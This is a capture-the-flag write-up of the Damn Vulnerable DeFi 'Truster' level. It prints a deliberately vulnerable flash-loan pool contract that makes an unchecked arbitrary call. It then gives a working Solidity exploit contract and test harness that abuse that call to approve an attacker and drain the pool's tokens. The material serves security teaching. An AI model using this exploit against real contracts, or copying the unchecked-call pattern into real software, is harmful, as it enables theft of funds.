Damn Vulnerable DeFi | 3 - Truster

Damn Vulnerable DeFi | 3 - Truster

DeFi Vulnerabilities Exposed: How to Solve the Truster Flash Loan Exploit"

ยท

4 min read

Goals

In the Truster challenge, we have to drain 1 million DVT tokens from the flash loan pool. So pretty high stakes! Let's see how to achieve that.

See the contracts

The Contracts

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../DamnValuableToken.sol";

/**
 * @title TrusterLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract TrusterLenderPool is ReentrancyGuard {
    using Address for address;

    DamnValuableToken public immutable token;

    error RepayFailed();

    constructor(DamnValuableToken _token) {
        token = _token;
    }

    function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
        external
        nonReentrant
        returns (bool)
    {
        uint256 balanceBefore = token.balanceOf(address(this));

        token.transfer(borrower, amount);
        target.functionCall(data);

        if (token.balanceOf(address(this)) < balanceBefore)
            revert RepayFailed();

        return true;
    }
}

A much shorter code base this time!

Let's note that the contract inherits from Address.sol and ReentrancyGuard.sol from the OpenZeppelin library, so most likely nothing to exploit there. It also inherits from the DamnValuableToken.sol which is a very basic ERC20 token based on the solmate library.

The Hack

There is only one function in the TrusterLenderPool contract, so it seems quite fair to start there! What is happening exactly in the flashloan() function, and what could go wrong?

    function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
        external
        nonReentrant
        returns (bool)
    {
        uint256 balanceBefore = token.balanceOf(address(this));

        token.transfer(borrower, amount);
        target.functionCall(data);

        if (token.balanceOf(address(this)) < balanceBefore)
            revert RepayFailed();

        return true;
    }

While the function does check the balance before and make sure the loan is repaid, the first thing that jumps out is THE LACK OF INPUTS VALIDATION! It is the third challenge in a row with the same mistake, so we most likely want to keep that in mind...

There really is only one interesting line here:

target.functionCall(data);

The functionCall() method comes from the inherited Address contract. Here it is for reference:

 /**
     * @dev Performs a Solidity function call using a low-level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason or custom error, it is bubbled
     * up by this function (like regular Solidity function calls). However, if
     * the call reverted with no returned reason, this function reverts with a
     * {Errors.FailedCall} error.
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0);
    }

So what does it mean? What exactly can we do with that?

It means that we can make an external call to the target address with some custom data input. And it happens that our target address containing our 1 million DVT chest is this lending pool. So we are allowed to execute any function within the TrusterLenderPool context... which includes the inherited contract.

A decent knowledge of the ERC20 token standard is needed for what comes next. The ERC20 standard defines 2 ways to transfer tokens from one address to another:

  1. transfer(address to, uint256 value) allows to move token that you own directly;

  2. transferFrom(address from, address to, uint256 value) allows another address to move your tokens on your behalf. Since this is obviously dangerous, it requires an approval before the transfer can be executed.

When you do a token swap on Uniswap, you approve the Uniswap contract to execute the swap on your behalf and grab the tokens in your wallet.

In other words, we do not really need the loan to empty the Truster pool, we can't bypass the balance before/after checks anyway. However, we can use the data arguments to approve a malicious contract, and then trigger a transferFrom() to drain the pool!

Solution

Let's implement the Truster solution accordingly. We can craft a contract that will handle the logic as follows:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

interface IPool {
    function flashLoan(
        uint256 amount,
        address borrower,
        address target,
        bytes calldata data
    ) external returns (bool);
}

interface IToken {
    function balanceOf(address account) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
}

contract Attack3 {
    address private immutable pool;
    address private immutable player;
    IToken private immutable token;

    constructor(address _pool, address _player, address _token) {
        pool = _pool;
        player = _player;
        token = IToken(_token);
    }

    function attack() external {
        uint256 balance = token.balanceOf(pool);

        bytes memory data = abi.encodeWithSignature(
            "approve(address,uint256)",
            address(this),
            balance
        );

        IPool(pool).flashLoan(0, address(this), address(token), data);
        token.transferFrom(pool, player, balance);
    }
}

And edit the truster.challenge.js page as follows:

it("Execution", async function () {
    /** CODE YOUR SOLUTION HERE */

    const Attack3 = await ethers.getContractFactory("Attack3", deployer);
    const attack3 = await Attack3.deploy(
      pool.address,
      player.address,
      token.address
    );

    await attack3.attack();
  });

Then we can run the test with the following command:

yarn truster

And we get the following printed in the terminal:

Congrats! You just beat the level 3 of Damn Vulnerable DeFi.

๐ŸŽ‰ Level completed ๐ŸŽ‰

Takeaway

  • Always validate all sensitive inputs before executing any logic (I think I already mentioned that in the previous challenge though...).

  • Disable 0 amount.


You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions

ย